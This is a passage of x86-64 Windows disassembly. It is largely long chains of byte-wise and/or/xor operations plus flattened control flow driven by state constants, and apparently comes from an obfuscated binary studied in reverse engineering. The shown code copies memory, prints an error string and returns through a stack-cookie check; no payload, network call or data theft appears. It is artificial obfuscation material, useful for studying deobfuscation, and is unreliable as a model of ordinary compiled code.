and r9b, r10b
or r10b, cl
xor r10b, 1
and cl, r11b
or cl, r9b
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov r9d, ecx
xor r9b, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
xor bl, 1
and bl, r9b
or cl, bl
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, 1
mov r9d, eax
and r9b, dl
mov ebx, eax
and bl, r9b
xor r9b, al
or r9b, bl
mov r10d, r9d
xor r10b, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and cl, bl
mov r11d, ebx
and r11b, cl
xor cl, bl
or cl, r11b
mov ebx, ecx
xor bl, 1
mov r11d, eax
and r11b, r9b
xor al, r10b
and r10b, dl
or r10b, r11b
or dl, r9b
xor dl, 1
or dl, al
xor dl, 1
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
mov eax, ebx
and al, cl
mov r9d, ebx
xor r9b, al
xor al, 1
or al, cl
xor al, 1
or al, r9b
xor al, 1
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov r9d, ebx
xor r9b, 1
and bl, r9b
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
xor bl, cl
mov ecx, ebx
xor cl, 1
mov edx, r8d
and dl, r15b
xor dl, 1
mov r10d, r15d
xor r10b, dl
mov r9d, r15d
or r9b, dl
mov eax, r8d
xor al, dl
or dl, r8b
xor dl, 1
or dl, al
xor dl, 1
mov r8d, ecx
and r8b, dl
xor dl, cl
and cl, bl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov r11d, eax
and r11b, cl
xor r9b, 1
or r9b, r10b
mov r10d, eax
and r10b, r11b
xor r11b, al
or r11b, r10b
mov eax, r9d
xor al, 1
and al, r11b
xor r11b, 1
and r11b, r9b
or r11b, al
mov eax, r15d
xor al, cl
or cl, r15b
xor cl, 1
or cl, al
mov eax, ecx
xor al, r11b
xor r11b, 1
xor al, 1
or r11b, cl
xor r11b, 1
or r11b, al
mov r9d, r11d
xor r9b, 1
or dl, r8b
mov eax, r15d
and al, bl
xor bl, r15b
or bl, al
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, dl
xor dl, 1
and bl, dl
or bl, cl
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov r8d, ebx
xor r8b, 1
mov r14d, r8d
and r14b, bl
mov ecx, r8d
xor cl, r14b
xor r14b, 1
or r14b, bl
xor r14b, 1
or r14b, cl
mov esi, r9d
xor sil, r11b
and sil, r9b
mov ebx, r9d
and bl, r11b
mov r10d, r9d
and r10b, bl
xor bl, r9b
or r9b, r11b
mov ecx, r9d
xor cl, 1
mov edx, esi
xor dl, 1
and sil, r9b
or r9b, dl
and dl, cl
mov edi, r14d
xor dil, 1
or dl, sil
xor dl, 1
mov esi, r9d
xor sil, dl
or dl, r9b
mov ecx, r14d
or cl, dil
xor dl, 1
or dl, sil
mov eax, ecx
or al, r8b
xor al, 1
xor cl, r8b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov r8d, edx
xor r8b, al
or al, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor al, 1
or al, r8b
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
xor cl, al
or bl, r10b
mov eax, ebx
xor al, 1
and al, dil
and bl, r14b
or bl, al
mov eax, r11d
xor al, r14b
or r14b, r11b
xor r14b, 1
or r14b, al
mov eax, r14d
xor al, bl
xor bl, 1
xor al, 1
or bl, r14b
xor bl, 1
or bl, al
mov eax, ecx
xor al, 1
mov r8d, ecx
and r8b, al
mov edx, r8d
xor dl, 1
xor r8b, cl
or dl, al
xor dl, 1
or dl, r8b
mov ecx, edx
and dl, bl
mov r8d, eax
and r8b, bl
xor al, bl
xor bl, 1
xor cl, 1
and cl, bl
or dl, cl
or al, r8b
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x58ebe7c7
mov ebx, 0xaee9eb6a
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0x58ebe7c7
jmp 0x14001bd9e
mov eax, 0x6aab939a
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
mov rdx, qword [rbp - 0x28]
mov r8, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov eax, 0x93b9a16b
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
sub rsp, 0x20
lea rcx, str.____Oh_gosh__something_went_wrong_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
add rsp, 0x20
mov eax, 0x94e0bb1
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
cmp byte [rbp - 9], 0
mov eax, 0xbfbafb56
mov ecx, 0xd57cd87a
cmovne eax, ecx
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
mov esi, dword [rbp - 4]
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.1400010eb
add rsp, 0x20
mov eax, esi
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret